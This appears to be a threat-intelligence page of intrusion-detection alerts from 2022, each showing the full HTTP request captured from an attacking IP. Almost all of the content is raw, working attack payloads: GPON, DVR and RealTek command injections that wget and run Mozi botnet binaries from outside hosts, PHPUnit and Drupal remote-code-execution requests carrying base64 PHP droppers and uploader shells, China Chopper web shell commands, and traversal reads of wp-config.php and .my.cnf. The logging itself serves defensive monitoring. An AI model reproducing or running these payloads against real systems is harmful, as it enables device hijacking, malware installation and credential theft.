🇧🇷
191.16.33.210
29 Jun 2022
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-06-28T19:26:01.2 ...
show more
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-06-28T19:26:01.299Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://191[.]16[.]33[.]210[:]57848/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Web App Attack
🇬🇧
18.133.228.50
27 Jun 2022
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-06-27T01:31:41.041Z
{
POST /vendor/p ...
show more
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-06-27T01:31:41.041Z
{
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 52
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
<?=md5('vticpib3');echo strtoupper(php_uname('s'))?>
}
show less
Web App Attack
🇰🇷
1.246.223.32
22 Jun 2022
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-06-22T15:39:49.4 ...
show more
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-06-22T15:39:49.484Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://1[.]246[.]223[.]32[:]2078/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Web App Attack
🇭🇰
20.205.101.205
22 Jun 2022
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-06-22T14:23:22.329Z
{
GET /vendor/ph ...
show more
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-06-22T14:23:22.329Z
{
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Content-Length: 762
<?php eval('?>'.base64_decode('PD9waHANCmZ1bmN0aW9uIGFkbWluZXIoJHVybCwgJGlzaSkgew0KCSRmcCA9IGZvcGVuKCRpc2ksICJ3Iik7DQoJJGNoID0gY3VybF9pbml0KCk7DQoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7DQoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0JJTkFSWVRSQU5TRkVSLCB0cnVlKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOw0KCXJldHVybiBjdXJsX2V4ZWMoJGNoKTsNCgljdXJsX2Nsb3NlKCRjaCk7DQoJZmNsb3NlKCRmcCk7DQoJb2JfZmx1c2goKTsNCglmbHVzaCgpOw0KfQ0KaWYoYWRtaW5lcigiaHR0cHM6Ly93d3cubWFyaW9....
}
show less
Web App Attack
🇵🇰
39.34.248.70
22 Jun 2022
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-06-22T08:09:41.5 ...
show more
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-06-22T08:09:41.526Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://39[.]34[.]248[.]70[:]46328/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Web App Attack
🇮🇳
59.99.42.168
22 Jun 2022
SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt
2022-06-21T16:53:34.625Z
{
GE ...
show more
SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt
2022-06-21T16:53:34.625Z
{
GET /shell?cd+/tmp;rm+-rf+*;wget+http://59[.]99[.]42[.]168[:]55941/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
}
show less
Web App Attack
🇺🇸
67.205.179.1
22 Jun 2022
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-06-21T15:12:42.356Z
{
POST /vendor/p ...
show more
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-06-21T15:12:42.356Z
{
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 52
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
<?=md5('v7jeeqsw');echo strtoupper(php_uname('s'))?>
}
show less
Web App Attack
🇮🇳
40.81.232.185
22 Jun 2022
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-06-22T03:30:42.984Z
{
POST /vendor/p ...
show more
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-06-22T03:30:42.984Z
{
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4859.172 Safari/537.36
Accept: */*
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
<?=base64_decode("bWVtZWtjaW5h");?>
}
show less
Web App Attack
🇮🇩
43.252.239.39
22 Jun 2022
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-06-22T06:01:44.771Z
{
POST /vendor/p ...
show more
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-06-22T06:01:44.771Z
{
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 52
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
<?=md5('o1chms8j');echo strtoupper(php_uname('s'))?>
}
show less
Web App Attack
🇺🇸
173.208.214.114
22 Jun 2022
SERVER-WEBAPP WordPress wp-config.php access via directory traversal attempt
2022-06-21T23:51:35.54 ...
show more
SERVER-WEBAPP WordPress wp-config.php access via directory traversal attempt
2022-06-21T23:51:35.544Z
{
GET /wp-content/plugins/mac-dock-gallery/macdownload.php?albid=../../../wp-config.php HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0
}
show less
Web App Attack
🇮🇳
210.89.63.146
14 Jun 2022
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-06-14T01:58:07.4 ...
show more
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-06-14T01:58:07.449Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://210[.]89[.]63[.]146[:]51354/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Web App Attack
🇮🇳
180.188.250.36
31 May 2022
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-05-28T15:51:13.4 ...
show more
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-05-28T15:51:13.479Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://180[.]188[.]250[.]36[:]33086/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Web App Attack
🇮🇳
117.215.251.190
31 May 2022
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-05-30T07:33:32.4 ...
show more
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-05-30T07:33:32.438Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://117[.]215[.]251[.]190[:]58337/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Web App Attack
🇨🇭
84.16.79.129
31 May 2022
SERVER-WEBAPP RevSlider information disclosure attempt
2022-05-29T14:43:50.873Z
{
GET /wp-admin/a ...
show more
SERVER-WEBAPP RevSlider information disclosure attempt
2022-05-29T14:43:50.873Z
{
GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../../.my.cnf HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
}
show less
Web App Attack
🇺🇸
107.148.191.68
25 May 2022
MALWARE-CNC Win.Backdoor.Chopper web shell connection
2022-05-25T03:19:50.315Z
{
POST /fdgq.php H ...
show more
MALWARE-CNC Win.Backdoor.Chopper web shell connection
2022-05-25T03:19:50.315Z
{
POST /fdgq.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
Content-Length: 232
lequ=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
}
show less
Exploited Host
🇺🇸
128.14.75.238
13 May 2022
MALWARE-CNC Win.Backdoor.Chopper web shell connection
2022-05-13T04:31:24.438Z
{
POST /wgiql.php ...
show more
MALWARE-CNC Win.Backdoor.Chopper web shell connection
2022-05-13T04:31:24.438Z
{
POST /wgiql.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: /wgiql.php
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
Content-Length: 229
_=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
}
show less
Exploited Host
🇺🇸
20.127.185.64
11 May 2022
SERVER-WEBAPP Facade Ignition remote code execution attempt
2022-05-11T11:00:24.523Z
{
POST /_ign ...
show more
SERVER-WEBAPP Facade Ignition remote code execution attempt
2022-05-11T11:00:24.523Z
{
POST /_ignition/execute-solution HTTP/1.1
Accept: application/json
Accept-Encoding: gzip, deflate
User-Agent: Python/3.8 aiohttp/3.8.1
Content-Length: 304
Content-Type: application/json
{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "Ignition", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
}
show less
Web App Attack
🇨🇦
149.5.173.33
09 May 2022
SERVER-OTHER RealTek UDPServer command injection attempt
2022-05-09T17:55:40.860Z
{
orf;cd /tmp; ...
show more
SERVER-OTHER RealTek UDPServer command injection attempt
2022-05-09T17:55:40.860Z
{
orf;cd /tmp; rm -rf mpsl; /bin/busybox wget http://103[.]136[.]40[.]142/lol.mpsl; chmod +x lol.mpsl; ./lol.mpsl cupid.mpsl; #
}
show less
Hacking
Exploited Host
🇺🇸
23.224.109.149
09 May 2022
MALWARE-CNC Win.Backdoor.Chopper web shell connection
2022-05-09T01:05:15.158Z
{
POST /maccms/ind ...
show more
MALWARE-CNC Win.Backdoor.Chopper web shell connection
2022-05-09T01:05:15.158Z
{
POST /maccms/index.php?m=vod-search=%7Bif-A:assert($_POST%5Ba%5D)%7D%7Bendif-A%7D HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: /maccms/index.php?m=vod-search={if-A:assert($_POST[a])}{endif-A}f
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
Content-Length: 229
a=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
}
show less
Exploited Host
🇦🇹
185.183.107.164
08 May 2022
SERVER-WEBAPP Drupal unsafe internal attribute remote code execution attempt
2022-05-07T03:27:47.52 ...
show more
SERVER-WEBAPP Drupal unsafe internal attribute remote code execution attempt
2022-05-07T03:27:47.527Z
{
POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=echo+IDw%2FcGhwIC8qOTc2NDg5NTA4OTc2NDg5NTA4Ki8gPz48P3BocCAvKjQ1NzU2MzY0MzQ1NzU2MzY0MyovID8%2BPD9waHAKZWNobyAiUmFpejBXb3JNIjsKZWNobyAiPGJyPiIucGhwX3VuYW1lKCkuIjxicj4iOwplY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPgo8aW5wdXQgdHlwZT0nZmlsZScgbmFtZT0nemInPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbG9hZCcgdmFsdWU9J3VwbG9hZCc%2BCjwvZm9ybT4iOwppZigkX1BPU1RbJ3VwbG9hZCddKSB7CiAgaWYoQGNvcHkoJF9GSUxFU1snemInXVsndG1wX25hbWUnXSwgJF9GSUxFU1snemInXVsnbmFtZSddKSkgewogIGVjaG8gImVYcGxvaXRpbmcgRG9uZSI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8%2B+%7C+base64+-d+%7C+tee+sites%2Fdefault%2Ffiles%2F69.php HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla 5.0
Content-Length: 47
Content-Type: application/x-www
}
show less
Web App Attack
🇺🇸
45.61.185.198
08 May 2022
SERVER-OTHER RealTek UDPServer command injection attempt
2022-05-07T19:29:02.674Z
{
orf;cd /tmp; ...
show more
SERVER-OTHER RealTek UDPServer command injection attempt
2022-05-07T19:29:02.674Z
{
orf;cd /tmp; rm -rf mpsl; /bin/busybox wget http://103[.]136[.]40[.]142/lol.mpsl; chmod +x lol.mpsl; ./lol.mpsl cupid.mpsl; #
}
show less
Hacking
🇺🇸
23.224.109.181
02 May 2022
MALWARE-CNC Win.Backdoor.Chopper web shell connection
2022-05-02T17:26:02.622Z
{
POST /pvzeg.php ...
show more
MALWARE-CNC Win.Backdoor.Chopper web shell connection
2022-05-02T17:26:02.622Z
{
POST /pvzeg.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
Content-Length: 229
_=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
}
show less
Exploited Host
🇸🇬
104.248.147.133
30 Apr 2022
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-04-30T08:33:12.696Z
{
GET /vendor/ph ...
show more
SERVER-WEBAPP PHPUnit PHP remote code execution attempt
2022-04-30T08:33:12.696Z
{
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Content-Length: 706
<?php eval('?>'.base64_decode('PD9waHAKZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7CgkkZnAgPSBmb3BlbigkaXNpLCAidyIpOwoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgdHJ1ZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKCXJldHVybiBjdXJsX2V4ZWMoJGNoKTsKCWN1cmxfY2xvc2UoJGNoKTsKCWZjbG9zZSgkZnApOwoJb2JfZmx1c2goKTsKCWZsdXNoKCk7Cn0KaWYoYWRtaW5lcigiaHR0cHM6Ly9wYXN0ZWJpbi5wbC92aWV3L3Jhdy83ZDM4N2YxZSIsIkJ1Z3oucGh...
}
show less
Web App Attack
🇺🇸
164.92.69.194
25 Apr 2022
SERVER-WEBAPP Drupal unsafe internal attribute remote code execution attempt
2022-04-25T14:43:21.81 ...
show more
SERVER-WEBAPP Drupal unsafe internal attribute remote code execution attempt
2022-04-25T14:43:21.813Z
{
POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=echo+PCFET0NUWVBFIGh0bWw%2BCjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ%2BCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI%2BCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkZpbGUgVXBsb2FkZXI8L3RpdGxlPgo8L2hlYWQ%2BCjxib2R5PgogICAgPHNwYW4gc3R5bGU9ImRpc3BsYXk6bm9uZSI%2BVnVsbiEhPC9zcGFuPgogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KICAgICAgICA8c3Ryb25nPlNlbGVjdCBhIGZpbGUgdG8...
}
show less
Web App Attack
🇮🇳
202.14.122.112
25 Apr 2022
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-04-24T15:42:07.5 ...
show more
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt
2022-04-24T15:42:07.525Z
{
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://202[.]14[.]122[.]112[:]58662/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
}
show less
Web App Attack